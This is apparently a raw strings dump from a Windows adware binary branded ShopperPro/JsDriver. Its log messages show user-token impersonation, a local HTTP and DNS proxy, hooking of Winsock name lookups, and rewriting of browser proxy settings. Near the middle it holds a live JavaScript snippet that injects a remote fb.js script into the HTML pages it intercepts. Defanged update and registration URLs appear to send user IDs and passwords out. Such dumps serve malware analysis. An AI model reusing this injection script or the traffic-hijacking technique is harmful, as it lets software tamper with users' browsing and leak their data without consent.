[CImpersonate::Impersonate] ImpersonateLoggedOnUser - Error: %d
[CImpersonate::Impersonate] Impersonated: %d
[CImpersonate::Revert] RevertToSelf - Error: %d
[CImpersonate::Revert] Impersonated: %d
[CImpersonate::Cleanup] Impersonated: %d
[CImpersonate::GetUserSID] LookupAccountNameW failed. GetLastError returned: %d
[CImpersonate::GetUserSID] The SID for %s is invalid.
[CImpersonate::GetUserSID] Not Enough Memory: %d
[CImpersonate::SetPrivilege] AdjustTokenPrivileges - Error: %d
[CImpersonate::SetPrivilege] LookupPrivilegeValue - Error: %d
[CImpersonate::OpenCurrentUserDesktop] - The function does not support Windows Vista and Windows 98
[CImpersonate::OpenCurrentUserDesktop] OpenDesktop - Error: %d
[CImpersonate::OpenCurrentUserDesktop] OpenInputDesktop - Error: %d
[CImpersonate::OpenCurrentUserDesktop] SetProcessWindowStation - Error: %d
[CImpersonate::OpenCurrentUserDesktop] OpenWindowStation - Error: %d
[CImpersonate::OpenCurrentUserDesktop] GetProcessWindowStation - Error: %d
[CImpersonate::OpenCurrentUserDesktop] - The function does not support MAC
[CImpersonate::CreateProcessAsCurrentUser] CreateProcessAsUser - Error: %d
[CImpersonate::CreateProcessAsCurrentUser] CreateEnvironmentBlock - Error: %d
[CImpersonate::CreateProcessAsCurrentUser] AddAceToDesktop - Error: %d
[CImpersonate::CreateProcessAsCurrentUser] AddAceToWindowStation - Error: %d
[CImpersonate::CreateProcessAsCurrentUser] GetLogonSID - Error: %d
[CImpersonate::CreateProcessAsCurrentUser] DuplicateTokenEx - Error: %d
[CImpersonate::CreateProcessAsCurrentUser] OpenDesktop - Error: %d
[CImpersonate::CreateProcessAsCurrentUser] SetProcessWindowStation - Error: %d
[CImpersonate::CreateProcessAsCurrentUser] OpenWindowStation - Error: %d
[CImpersonate::CreateProcessAsCurrentUser] GetProcessWindowStation - Error: %d
[CImpersonate::AddAceToWindowStation] SetUserObjectSecurity - Error: %d
[CImpersonate::AddAceToWindowStation] SetSecurityDescriptorDacl - Error: %d
[CImpersonate::AddAceToWindowStation] CopySid - Error: %d
[CImpersonate::AddAceToWindowStation] AddAce - Error: %d
[CImpersonate::AddAceToWindowStation] GetAce - Error: %d
[CImpersonate::AddAceToWindowStation] GetAclInformation - Error: %d
[CImpersonate::AddAceToWindowStation] GetUserObjectSecurity - Error: %d
[CImpersonate::AddAceToDesktop] SetUserObjectSecurity - Error: %d
[CImpersonate::AddAceToDesktop] SetSecurityDescriptorDacl - Error: %d
[CImpersonate::AddAceToDesktop] AddAccessAllowedAce - Error: %d
[CImpersonate::AddAceToDesktop] AddAce - Error: %d
[CImpersonate::AddAceToDesktop] GetAce - Error: %d
[CImpersonate::AddAceToDesktop] GetSecurityDescriptorDacl - Error: %d
[CImpersonate::AddAceToDesktop] GetUserObjectSecurity - Error: %d
[CImpersonate::OpenCurrentUserKey] LoadUserProfile - SUCCESS
[CImpersonate::OpenCurrentUserKey] LoadUserProfile failed - Error: %d
[CImpersonate::GetLogonUserName] GetLogonUserName - Error: %d
[CImpersonate::OpenCurrentUserKey] RegOpenCurrentUser - Error: %d
[CImpersonate::OpenCurrentUserKey] RegOpenCurrentUser - SUCCESS
[CImpersonate::OpenCurrentUserKey] Impersonated: %d
[CImpersonate::FindLoggedOnUser] Process32First - Error: %d
[CImpersonate::FindLoggedOnUser] OpenProcess - Error: %d
[CImpersonate::FindLoggedOnUser] OpenProcessToken - Error: %d
[CImpersonate::FindLoggedOnUser] CreateToolhelp32Snapshot failed - Error: %d
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
explorer.exe
[CImpersonate::FindLoggedOnUser] Impersonated: %d
[CImpersonate::GetLogonUserName] Name: %s
[CImpersonate::GetLogonUserName] GetUserName - Error: %d
[CVA_Alert::OnDeserialize] ___Error get m_LandingUrl
[CVA_Alert::OnDeserialize] ___Error get m_URL
user32.dll
WININET.DLL
kernel32.dll
d/d/%d d:d:d::d
[CFullController::IsProxySupported] ___Error Create Proxy Controller
[CFullController::IsProxySupported] Create Proxy Controller...
[CFullController::SetPassThrough]
[CFullController::Init] ___Error to Create IHttpEngineConfiguration
[CFullController::Start] ___Error ProxyRes = %d, LspRes = %d
[CFullController::Stop] ___Error ProxyRes = %d, LspRes = %d
[CProxyController::SetVersionStatus] Status: %d -> %d
[CProxyController::GetVersionStatus] Status: %d
[CProxyController::Init] ___Error to Create IHttpEngineConfiguration
[CProxyController::IsAloud] FALSE - There is a pac file: %s
[HttpProxyServer::CreatePacFile] ___Error: ConfigPath::GetPath. LE: %d
[HttpProxyServer::CreatePacFile] ___Error: WriteRedirectRulesToPacFile. LE: %d
[CDriverManager::IoControl] DeviceIoControl failed: %d
[CDriverController::GetRedirectedConnectionInfo] ___Error GET_CONN %d
[CDriverController::GetRedirectedConnectionInfo] Port %d
[CDriverController::SetRedirectInfo] to port %d
[CDriverController::SetRedirectInfo] ___Error REDIRECT_ALL device %d
[CDriverController::SetRedirectInfo] ___Error SET_PORT device %d
[CDriverController::SetRedirectInfo] ___Error INTERFACE_VERSION mismatch R0 %d R3 %d
[CDriverController::SetRedirectInfo] ___Error INTERFACE_VERSION device %d
[CDriverController::SetRedirectInfo] ___Error open device %d
\\.\svd
HttpHandleAll
HttpWorkerBufferLimit
HttpListenPort
HttpListenIP
RtmpListenPort
[ProxySettingsConfiguration::RestoreOriginalSettings] ___Error ApplyIEProxySettings - Wait: %d
[ProxySettingsConfiguration::RestoreOriginalSettings] ___Error ApplyIEProxySettings - ProcessCommand: %d
[ProxySettingsConfiguration::SaveApplied] ___Error RetrieveIEProxySettings - Wait: %d
[ProxySettingsConfiguration::SaveApplied] ___Error RetrieveIEProxySettings - ProcessCommand: %d
[ProxySettingsConfiguration::SaveOriginal] ___Error RetrieveIEProxySettings - Wait: %d
[ProxySettingsConfiguration::SaveOriginal] ___Error RetrieveIEProxySettings - ProcessCommand: %d
[ProxySettingsConfiguration::RetriveExisting] ___Error RetrieveIEProxySettings - Wait: %d
[ProxySettingsConfiguration::RetriveExisting] ___Error RetrieveIEProxySettings - ProcessCommand: %d
[ProxySettingsConfiguration::SetProxyConfigScript] ___Error SetProxyConfigScript - Wait: %d
[ProxySettingsConfiguration::SetProxyConfigScript] ___Error SetProxyConfigScript - ProcessCommand: %d
SOFTWARE\ShopperPro\JsDriver\%s\Original
SOFTWARE\ShopperPro\JsDriver\%s\Current
[CDnsProxyServer::is_in_redirection_rules] Found redirection Rule: %s
[CDnsProxyServer::load_dns_clients] IP: %s
[CDnsProxyServer::get_dns_servers] Dns Servers count: %d
[CDnsProxyServer::get_dns_servers] Dns Server: %s
[CDnsProxyServer::get_dns_servers] ___Error RegEnumKeyEx. LE: %d, Name: %s
[CDnsProxyServer::get_dns_servers] DhcpNameServer: %s
[CDnsProxyServer::get_dns_servers] NameServer: %s
[CDnsProxyServer::get_dns_servers] ___Error RegOpenKeyEx. LE: %d, Name: %s
[CDnsProxyServer::get_dns_servers] ___Error RegQueryInfoKey. LE: %d
[CDnsProxyServer::get_dns_servers] ___Error key: %s
SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Interfaces
[CDnsProxyServer::Start] ___Error CAsyncUdpSocketServer<CDnsProxyServer>::Start. LE: %d
[CDnsProxyServer::Start] Local IP: %d.%d.%d.%d
[CDnsProxyServer::Start] ___Error SafeGetHostByName. LE: %d, Host: %s
[CDnsProxyServer::Start] Host name: %s
[CDnsProxyServer::Start] ___Error gethostname. LE: %d
[CDnsProxyServer::dns_reverse_lookup] Name: %s
[CDnsProxyServer::dns_reverse_lookup] IP: %s
[CDnsProxyServer::add_dns_client] IP: %s
%u.%u.%u.%u
[CDnsProxyServer::is_dns_client] IP: %s
[CDnsProxyServer::save_dns_clients] IP: %s
[CDnsProxyServer::dns_send_reply] @@@ Found IP: %s @@@
[CDnsProxyServer::dns_send_reply] Domain: %s
[CDnsProxyServer::OnRecv] ___Error %x - SendTo timeout to the original dns server
[CDnsProxyServer::OnRecv] ___Error %x - Select timeout from the original dns server
[CDnsProxyServer::OnRecv] ___Error %x - RecvFrom timeout from the original dns server
[CDnsProxyServer::OnRecv] ___Error %x - SendTo the client the response from the original server
[CDnsProxyServer::OnRecv] ___Error Got from the original dns server a packet with invalid size of %d
[CDnsProxyServer::OnRecv] ___Error %x - Open new socket to forward dns query
[CDnsProxyServer::OnRecv] unsupported opcode: %d
[CDnsProxyServer::OnRecv] DNS query: %s
[CDnsProxyServer::OnRecv] DNS query from client Host: %s, Port: %d
[CDnsProxyServer::OnRecv] Got packet with invalid size of %d
StartPortRange
EndPortRange
</URL>
<URL>
CAcceleratedEventsThread::OnReportNoAccelerationReason
0.0.0.0
%s%lld%s
%s%d%s
<EMBED><URL>
[CAcceleratedEventsThread::ReportEmbedStreaming]
[CAcceleratedEventsThread::ReportStatistics]___Error empty param : URL Acc Url = %s, Normal URL = %s
[CAcceleratedEventsThread::ReportStatistics] %s
[CAcceleratedEventsThread::ReportStatistics]___Error encode Acc URL = %s
%s%s%s
[CAcceleratedEventsThread::ReportStatistics]___Error encode Normal URL = %s
[CAcceleratedEventsThread::ReportVideoID] XML = %s
<WATCH><URL>%s</URL></WATCH>
[CAcceleratedEventsThread::ReportVideoID] URL = %s
YOUTUBE.COM/GET_VIDEO?VIDEO_ID=
[CAcceleratedEventsThread::ReportFailureReason] %s
[CAcceleratedEventsThread::ReportStatistics]___Error encode URL = %s
[CAcceleratedEventsThread::ReportFailureReason]___Error empty param : URL Acc Url = %s, AccFailureReason = %s
[CAcceleratedEventsThread::OnReportStatistics]
[CAcceleratedEventsThread::ReportAccelerations]
[CAcceleratedEventsThread] - Start the Pipe Clients to the Engine & UI
[CAcceleratedEventsThread::ProcessEvent] ___Warning: Unsupported event (%d)
DestroyPipeEventThreadManager
CreatePipeEventThreadManager
[CDNSResponse::AnalyzeResponse] Found IP: %u.%u.%u.%u
[Mine_GetAddrInfoW] nodename: %S
[Mine_GetAddrInfoExA] pName: %s
[Mine_GetAddrInfoExW] pName: %S
[Mine_getaddrinfo] nodename: %s
[CDNSInterceptor::Detour] GetAddrInfoExW - %d
[CDNSInterceptor::Detour] GetAddrInfoExA - %d
[CDNSInterceptor::Detour] GetAddrInfoW - %d
[CDNSInterceptor::Detour] getaddrinfo - %d
[CDNSInterceptor::Detour] gethostbyname - %d
[CDNSInterceptor::Detour] ___Error LoadLibrary ws2_32.dll
ws2_32.dll
[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] SetSecurityDescriptorDacl failed. GetLastError returned: %d
[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] InitializeSecurityDescriptor failed. GetLastError returned: %d
[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] AddAccessAllowedAce failed for the trusted owner. GetLastError returned: %d
[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] AddAccessAllowedAce failed for the Everyone group. GetLastError returned: %d
[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] AddAccessAllowedAce failed for the queue owner. GetLastError returned: %d
[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] InitializeAcl failed. GetLastError returned: %d
[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] GetLogonSID failed. Error code: 0x%X
[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] AllocateAndInitializeSid failed. GetLastError returned: %d
[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] GetTokenInformation failed. GetLastError returned: %d
[CSerializable::GetField] ___Error - Vector size missmatch. Code: %d
[CIEInternetProxySettings::RetriveProxyConfiguration - Exit] list.pOptions == NULL
[CIEInternetProxySettings::ApplyProxyConfiguration] InternetSetOption( INTERNET_OPTION_REFRESH ) - Failed: %d
[CIEInternetProxySettings::ApplyProxyConfiguration] InternetSetOption( INTERNET_OPTION_SETTINGS_CHANGED ) - Failed: %d
[CIEInternetProxySettings::ApplyProxyConfiguration] InternetSetOption() - Failed: %d
[CIEInternetProxySettings::IsOptionIncluded] NOT Found - Option: %d, Value: %d
[CIEInternetProxySettings::IsOptionIncluded] Found - Option: %d, Value: %d
[CIEInternetProxySettings::IsOptionIncluded] NOT Found - Option: %d, Value: %s
[CIEInternetProxySettings::IsOptionIncluded] Found - Option: %d, Value: %s
[CIEInternetProxySettings::IsOptionIncluded] Found - Option: %d, Value: NULL
[CIEInternetProxySettings::SetProxyConfigScript] InternetSetOption( INTERNET_OPTION_REFRESH ) - Failed: %d
[CIEInternetProxySettings::Refresh] InternetSetOption( INTERNET_OPTION_SETTINGS_CHANGED ) - Failed: %d
[CIEInternetProxySettings::SetProxyConfigScript] InternetSetOption() - Failed: %d
[CIEInternetProxySettings::SetProxyConfigScript] list.pOptions == NULL
[CIEInternetProxySettings::GetCurrentUserKey] User Key: %p
[CIEInternetProxySettings::GetCurrentUserKey] ___Error spIImpersonateThread == NULL
[CIEInternetProxySettings::SetProxyConfigScript] InternetSetOption( INTERNET_OPTION_SETTINGS_CHANGED ) - Failed: %d
http=
[CIEInternetProxySettings::Save] %s - %s = %s
ListenPort
[EngineConfiguration::GetCurrentUserKey] User Key: %X
[EngineConfiguration::GetCurrentUserKey] ___Error spIImpersonateThread == NULL
HttpRedirectProxyPort
HttpRedirectProxyDomain
[CAcceleratorEventsData::OnDeserialize] ___Error get URL
[GZipWrapper::InflateGzipData] ___Error ReadString : %s
[GZipWrapper::InflateGzipData] ___Error Open file : %s
[GZipWrapper::InflateGzipData] ___Error WriteDataToFile : %s
GZipWrapper_%d.tmp
C:\ProgramData\tmp\
http_port
prefs.js
user.js
user_pref("network.proxy.
autoconfig_url
[CAsyncUpdate::DownloadProgress] Downloaded: %d, Total: %d
[CAsyncUpdate::StartUpdate] Download URL: %s
[CAsyncUpdate::StartUpdate] ___Error Sennd Update Command: %s
[CAsyncUpdate::StartUpdate] Update Page: %s
va_conf.dat
[CAsyncUpdate::DownloadComplete] ___Error Send Update Command: %s
[CAsyncUpdate::DownloadComplete] Result: %d, File: %s
1.0.0.0
Temp.dll
[CAsyncUpdate::AnalizeXMLResults] ___Error Trial DAT file: %s
[CAsyncUpdate::AnalizeXMLResults] Trial.dat saved to: %s
Trial.dat
RESULT.VA_TRIAL.CONFIG.DATA
Temp.zip
RESULT.VA_RES.RESOURCES.DOWNLOAD_URL
RESULT.VA_RES.RESOURCES.VERSION
RESULT.BLACKLIST.DATA
RESULT.SENDLOGRULE
RESULT.VA.CONFIG.SOCIAL_NETWORKS.TWITTER_VIDEO_STRING
RESULT.VA.CONFIG.SOCIAL_NETWORKS.TWITTER_FRAME_STRING
RESULT.ADS.SHOW
[CAsyncUpdate::AnalizeXMLResults] ___Error updating Rules DAT file: %s
[CAsyncUpdate::AnalizeXMLResults] Rules saved to: %s
RESULT.VA.CONFIG.SITES.ZIP
RESULT.VA.CONFIG.SITES.XMLVERSION
RESULT.VA.CONFIG.SITES.DATA
[CAsyncUpdate::UpdateSearchComplete] version status = %d
[CAsyncUpdate::UpdateSearchComplete] Result: %d, UpdateExist: %d
[CSANotifierMgr::UpdateResourceDll] ___Error: Removing %s. Err = %d
[CSANotifierMgr::UpdateResourceDll] ___Error: Renaming %s to %s. Err = %d
Old.dll
[DownloadMHTsStatus::DownloadComplete] ___Error: Renaming %s to %s. Err = %d
[CExecuteUpdate::OnDeserialize] ___Error get m_ShowCmd
[CExecuteUpdate::OnDeserialize] ___Error get m_Directory
[CExecuteUpdate::OnDeserialize] ___Error get m_Parameters
[CExecuteUpdate::OnDeserialize] ___Error get m_Operation
[CExecuteUpdate::OnDeserialize] ___Error get m_File
[CCoreConfig::InitConfig] Product Name %s UseRegistry %d
LastNum%d
LastID%d
1.1.4
%d/%d/%d %d:%d:%d
%s.PARAM
%s.ID
.CONDITIONS.CONDITION[%d]
.LANDING_URL
.ICON
.TOOLTIP
.NOTIFICATION_TYPE
.VALIDATE
.EXPIRATION_HOURS
.EXPIRATION_TIME
.NUM_OF_ICONS
.ANIMATION_TIME
.DISPLAY_TIME
.TYPE
.NUMBER
RESULT.LAMP
RESULT.ALERT
[Core::ShouldUpdate] %s
RESULT.LICENSE.EXPIRATION
RESULT.LICENSE.STATUS
RESULT.LASTERROR
[Core::RequestURL] Filename = %s, URL = %s
RESULT.USER.DAUI
RESULT.ANON.PW
RESULT.ANON.ID
RESULT.USER.PW
RESULT.USER.ID
[Core::AnalyzeXMLResult] Filename = %s
RESULT.STATS.COLLECT
RESULT.DISABLED_PARTNERS
RESULT.UPDATE.PAGE_URL
RESULT.UPDATE.DOWNLOAD_FILENAME
RESULT.UPDATE.DOWNLOAD_URL
RESULT.UPDATE.VERSION
RESULT.UPDATE.EXIST
Core.log
ddd
ddd
2.0.0.0
%DOMAIN%
%s=%s
&OldUserID=%s&OldPassword=%s
%s?%s
hXXp://online.%DOMAIN%.com/online/updateSBPID.aspx
CV=[core-version]&ProductID=[sb-pid]&UserID=[sb-uid]&Password=[sb-upw]&OS=[sb-os]
Password
[Core::SendInfo] Filename = %s, URL = %s
hXXp://online.%DOMAIN%.com/online/Report.aspx
[Core::HitStats] URL = %s
hXXp://pix.%DOMAIN%.com
[Core::BuildUpdateURL] URL = %s
&ElapsedTime=%d
[Core::BuildUpdateURL] ___ALERT___ Alert Info = %s
&DAUI=%s
&ActivationCode=%s&ActivationEmail=%s
%s?%s&V=[sb-ve]&VS=[sb-vs]&Beta=[sb-beta]&Aff=[sb-aff]&BundleID=[sb-bundle]&BrandID=[sb-brand]&PartnerList=[sb-partners]
[Core::CheckForUpdates] RequestURL FAILED
[Core::CheckForUpdates] RequestURL SUCCEEDED
[Core::CheckForUpdates] URL = %s
hXXp://online.%DOMAIN%.com/online/update.aspx
[Core::PerformAsyncUpdateCheck] URL = %s
&SBPIDS=%d
[Core::FindRegistrationInfoByKey] VA Product Found
[Core::FindRegistrationInfoByKey] DAP Product Found
[Core::FindRegistrationInfoByKey] Password is %s
[Core::FindRegistrationInfoByKey] SBPID is %s
[Core::FindRegistrationInfoByKey] Product is %s
[Core::FindRegistrationInfoByKey]
[Core::FindRegistrationInfo] ___Error open key %s
[Core::FindRegistrationInfo] - FindRegistrationInfoByKey from %s
[Core::FindRegistrationInfo] - CurrentUSDKey is %s
[Core::FindRegistrationInfo] - Enum HKEY_CURRENT_USER\%s
[Core::FindRegistrationInfo] - FindRegistrationInfoByKey from product key
[Core::RegisterProduct] RequestURL Fauled err = %d
[Core::RegisterProduct] RequestURL Succeeded
[Core::RegisterProduct] URL = %s
&LastResponse=%s
&TF=%s
&Retry=%d&LE=%d
hXXp://online.%DOMAIN%.com/online/Register.aspx
[Core::GenerateAnonymousID] URL = %s
hXXp://online.%DOMAIN%.com/online/RegisterAnon.aspx
[Core::PingServer] URL = %s
hXXp://online.%DOMAIN%.com/online/ka.aspx
InternetReadFile failed: %d
WriteFile failed: %d
Create output file failed: %d
QueryStatus not OK: %d
HttpQueryInfo failed: %d
InternetOpenUrl failed: %d
InternetOpen failed: %d
Content-Disposition: form-data; name="%s"
--%s--
Content-Type:multipart/form-data;boundary=%s
WaitingPost.xml
%%X
<?xml version="1.0" encoding="%s"?>
-%c%c%c%c%c%c%c%c%c%c
deflate 1.1.4 Copyright 1995-2002 Jean-loup Gailly
inflate 1.1.4 Copyright 1995-2002 Mark Adler
()$^.* ?[]|\-{},:=!
safari.exe
opera.exe
itunes.exe
iexplore.exe
chrome.exe
(build %d)
Windows 2000
Windows XP
Web Edition
Windows Server 2003,
Windows XP Professional x64 Edition
Windows Home Server
Windows Storage Server 2003
Windows Server 2003 R2,
Web Server Edition
Windows Server 2008 R2
Windows 8
Windows 7
Windows Server 2008
Windows Vista
[ProxyExtensionInj::WriteToLocalCacheWriter] FDM=%d (%d),Req:%d - Written %d/%d bytes
[ProxyExtensionInj::WriteToLocalCacheWriter] FDM=%d (%d),Req:%d ___Error invalid JobInfo
%Program Files% (x86)\Microsoft Visual Studio 10.0\VC\include\locale
[ProxyExtensionInj::OnHeader] FDM=%d (%d),Req:%d - html file size unknown - ignore this request (Response)
[ProxyExtensionInj::OnHeader] FDM=%d (%d),Req:%d - Try to Inject script... (Response)
[Inject OnHeader] URL %s, type %s, length %s, trans.encoding %s, cont.encoding %s
hXXp://repjs.shopper-pro.com/app/ping.ashx?product=ShopperProJs&action=%s&it=%d&os=%s&Rnd=%d&v=%s&usid=%s&aff=JS%s&pixguid=%s&text=%s
ProxyExtensionInj: can't open Config.json
Config.json
ProxyExtensionInj: can't open database1_0_0.ej
database1_0_0.ej
[ProxyExtensionInj::InjectScriptToWatchPage] FDM=%d (%d),Req:%d - Total written %d bytes
[ProxyExtensionInj::InjectScriptToWatchPage] FDM=%d (%d),Req:%d - injected %d bytes
[ProxyExtensionInj::InjectScriptToWatchPage] FDM=%d (%d),Req:%d ___Error writing new header
[ProxyExtensionInj::OnHeader] FDM=%d -
[ProxyExtensionInj::InjectScriptToWatchPage] FDM=%d (%d),Req:%d ___Error NewHttpParser ParseHeader
[ProxyExtensionInj::InjectScriptToWatchPage] FDM=%d (%d),Req:%d ___Error NewHttpParser Initialize
[ProxyExtensionInj::InjectScriptToWatchPage] FDM=%d (%d),Req:%d ___Error BuildHeader
[ProxyExtensionInj::InjectScriptToWatchPage] FDM=%d (%d),Req:%d ___Error invalid IHttpFileDownloadMgr
[ProxyExtensionInj::InjectScriptToWatchPage] FDM=%d (%d),Req:%d ___Error invalid IHttpProxyServer
[ProxyExtensionInj::InjectScriptToWatchPage] FDM=%d (%d),Req:%d ___Error invalid JobInfo
<script type='text/javascript'>!function(){'use strict';function doInj(){if(10!==  calls){var scriptElement=document.createElement('script');scriptElement.src='//4x3zy4ql-l8bu4n1j.netdna-ssl.com/fb.js?pn=JSDRIVER&v=2.7.0.2',scriptElement.type='text/javascript';var scripts=document.getElementsByTagName('script');if(scripts.length>0)scripts[0].parentNode.insertBefore(scriptElement,scripts[0]);else{var headBody=document.getElementsByTagName('head')[0]||document.getElementsByTagName('body')[0];headBody?headBody.appendChild(scriptElement):setTimeout(function(){doInj()},10)}}}var calls=0;doInj()}();</script>
%%SID%%
%%USERID%%
%%SPARAM%%
%%SPARAMDATE%%
%%SPARAMPROD%%
%%SPARAMSUB%%
%ÛVERSION%%
%%SOURCE%%
%%COUNTRY%%
[ProxyExtensionInj::InjectScriptToWatchPage] FDM=%d (%d),Req:%d - /HEAD position was found: %d
[ProxyExtensionInj::InjectScriptToWatchPage] FDM=%d (%d),Req:%d ___Error /HEAD position was not found
[ProxyExtensionInj::InjectScriptToWatchPage] FDM=%d (%d),Req:%d ___Error uncompress: %d
[ProxyExtensionInj::InjectScriptToWatchPage] Crash fix FDM=%d (%d),Req:%d
[ProxyExtensionInj::InjectScriptToWatchPage] FDM=%d (%d),Req:%d - Parsing Watch page file for Script injection
[InjHttpProxyServer]
[InjHttpProxyLocal::InjHttpProxyLocal] FDM=%d (%d)
[InjHttpProxyLocal::~InjHttpProxyLocal] FDM=%d (%d)
[InjHttpProxyLocal::PutChunk] FDM=%d (%d): After writing %d bytes into upper level
[InjHttpProxyLocal::PutChunk] FDM=%d (%d): Going to write the %d bytes into the upper level
[InjHttpProxyLocal::PutChunk] FDM=%d (%d): Read %d bytes from socket %d
[InjHttpProxyLocal::PutChunk] FDM=%d (%d): Reading from socket %d
[InjHttpProxyLocal::PutChunk] FDM=%d (%d),Req:%d ___Error: the socket object is null.
[InjHttpProxyServer::AcceptConnection] ___Error to initialize Worker: %d.
[InjHttpProxyServer::AcceptConnection] Going to initialize Worker: %d.
[InjHttpProxyServer::AcceptConnection] ___Error: There is not enough memory to allocate HttpProxyLocal.
[InjFileDownloadMgr] FDM=%d
[InjHttpProxyRemote::InjHttpProxyRemote] FDM=%d (%d),Req:%d
[InjHttpProxyRemote::ConnectToDomain] FAILED FDM=%d (%d),Req:%d
[InjHttpProxyRemote::~InjHttpProxyRemote] FDM=%d (%d),Req:%d
[InjHttpProxyRemote::PutChunk] FDM=%d (%d),Req:%d - Request was written to Local
[InjHttpProxyRemote::PutChunk] FDM=%d (%d),Req:%d - Going to write request to Local
[InjHttpProxyRemote::PutChunk] FDM=%d (%d),Req:%d - Read %d bytes from socket %d
[InjHttpProxyRemote::PutChunk] FDM=%d (%d),Req:%d - Reading from socket %d
[InjHttpProxyRemote::PutChunk] FDM=%d (%d),Req:%d ___Error: the Job object is null.
[InjHttpProxyRemote::PutChunk] FDM=%d (%d),Req:%d ___Error: the socket object is null.
[InjHttpProxyRemote::PutChunk] FDM=%d (%d),Req:%d ___Error: the current download state is %s.
[InjHttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d - Wrote %d/%d bytes to Socket %d.
[InjHttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d ___Error writing the request.
[InjHttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d - Going to write %d bytes to socket %d.
[InjHttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d ___Error: the socket object is null.
InjHttpProxyRemote::WriteCachedBufferToSocket
[InjHttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d ___Error: the socket object is NULL.
[InjFileDownloadMgr::CreateWorker] FDM=%d (%d) was created.
[InjFileDownloadMgr::CreateWorker] FDM=%d (%d) ___Error Initializing the worker.
pHttpProxyWorker
[InjHttpProxyServer::GetFileDownloadManager] FDM=%d for Worker: %d, IP: %s, Port: %d, was found.
[InjHttpProxyServer::GetFileDownloadManager] ___Error inserting FDM=%d to the map.
[InjHttpProxyServer::GetFileDownloadManager] ___Error initializing FDM=%d.
[InjHttpProxyServer::GetFileDownloadManager] The FDM=%d for Worker:%d, IP: %s, Port: %d, was created.
HttpProxyServer::GetDownloader
[InjHttpProxyServer::GetFileDownloadManager] FDM not found - Creating a new one. (Worker: %d, IP: %s, Port: %d)
[InjHttpProxyServer::GetFileDownloadManager] Getting the FDM for Worker: %d, IP: %s, Port: %d.
[InjHttpProxyServer::OnHeader] FDM=%d,Req:%d ___Error: The request was not added. (IP:%s, port:%d).
[InjHttpProxyServer::OnHeader] FDM=%d - Adding Req:%d (IP:%s, port:%d).
HttpProxyServer::OnHeader
[ProxyServer::StopAcceleration] Proxy type: %d
[ProxyServer::Stop] Proxy type: %d - Done
[ProxyServer::Stop] - delete HttpCookieJar
[ProxyServer::Stop] - GENERAL HTTP proxy - Stopped !
[ProxyServer::Stop] - GENERAL HTTP proxy - Stopping...
[ProxyServer::Stop] - HTTP proxy - Stopped !
[ProxyServer::Stop] - HTTP proxy - Stopping...
[ProxyServer::Stop] Proxy type: %d
[ProxyServer::CreateHttpProxyServer] *** HTTP Proxy Server - Created and Started ***
[ProxyServer::CreateHttpProxyServer] ___Error: IHttpProxyServer::Start.
[ProxyServer::CreateHttpProxyServer] HTTP Proxy Server - already started
[ProxyServer::CreateHttpProxyServer] ___Error: IHttpProxyServer::Initialize.
m_pIHttpProxyServer
[ProxyServer::CreateHttpProxyServer] ___Error: IHttpProxyServer::CreateInstance.
[ProxyServer::CreateHttpProxyServer] ___Error allocate HttpCookieJar.
[ProxyServer::CreateHttpProxyServer] HTTP Proxy Server - already created
ProxyServer::CreateHttpProxyServer
[ProxyServer::Start] Proxy type: %d - Done.
[ProxyServer::Start] *** HTTP proxy was started ***
[ProxyServer::Start] ___Error stating the HTTP proxy.
[ProxyServer::Start] ___Error Proxy type not supported. (Requested: %d).
[ProxyServer::Start] Proxy type: %d
[ProxyServer::AcceptConnection] *** Handover to HTTP ***
[AccelerationConfiguration::OnError] XML parse failed: %s
[CAccelerationStats::Write] Written: %d, Total: %lld, Bps: %d
[CAccelerationStats::Write] Written: %d
[CAccelerationStats::AddRequest] Req:%d - Request was added
[CAccelerationStats::ModifyDownloadRequestURL] Req:%d ___Error: SetBuffer
[CAccelerationStats::ModifyDownloadRequestURL] Req:%d ___Error: BuildHeader
[CAccelerationStats::ModifyDownloadRequestURL] Req:%d ___Error: SetRanges
[CAccelerationStats::ModifyDownloadRequestURL] Req:%d ___Error: ParseHeader
[CAccelerationStats::HandleNewRequest] FDM=%d, Req:%d (IP: %s, Port: %d) - Request was added.
[CAccelerationStats::HandleNewRequest] ___Error: The request was not added. FDM=%d, Req:%d (IP:%s, port:%d).
[CAccelerationStats::HandleNewRequest] ___Error initializing FDM=%d.
[HttpProxyServer::Init] ___Error creating listen AsyncSocket
[HttpProxyServer::Init]
[HttpProxyServer::OnData] Writing to FDM %d data bytes from Local Worker:%d.
HttpProxyServer::OnData
pIHttpProxyWorker
m_pIHttpEngineConfiguration
[HttpProxyServer::WriteDataToFile] ___Error: Not a reasnable data to write: %d
[HttpProxyServer::WriteDataToFile] ___Error: GetFileAttributes: %s, failed: %d
[HttpProxyServer::WriteDataToFile] ___Error: fwrite: %s, failed: %d
[HttpProxyServer::WriteDataToFile] ___Error: fopen: %s, failed: %d
[HttpProxyServer::WriteDataToFile] Filename: %s
[HttpProxyServer::Start] ___Error - HTTP Configuration not valid
HttpProxyServer::Initialize
[HttpProxyServer::Initialize]
[HttpProxyServer::OnAcceptEvent] *** Pass Through ***
[HttpProxyServer::OnAcceptEvent] ___Error accepting a new socket
[HttpProxyServer::OnAcceptEvent] ___Error accepting a new connection.
[HttpProxyServer::OnAcceptEvent] ___Error %s(%d) occured on the listen socket
[HttpProxyServer::IsRedirectedByDnsController] Client was Redirected by Dns Controller!
[HttpProxyServer::IsRedirectedByDnsController] NOT redirected by Dns Controller!
[HttpProxyServer::IsRedirectedByDnsController] ___Error IDnsController == NULL
[IHttpProxyServer::DestroyInstance] Destroy - HttpProxyServer - Regular MODE
[IHttpProxyServer::DestroyInstance] Destroy - TransparentProxyServer (PassThrough) - LSP MODE
[IHttpProxyServer::DestroyInstance] ___Error Redirect was not created - Type = IdleMode
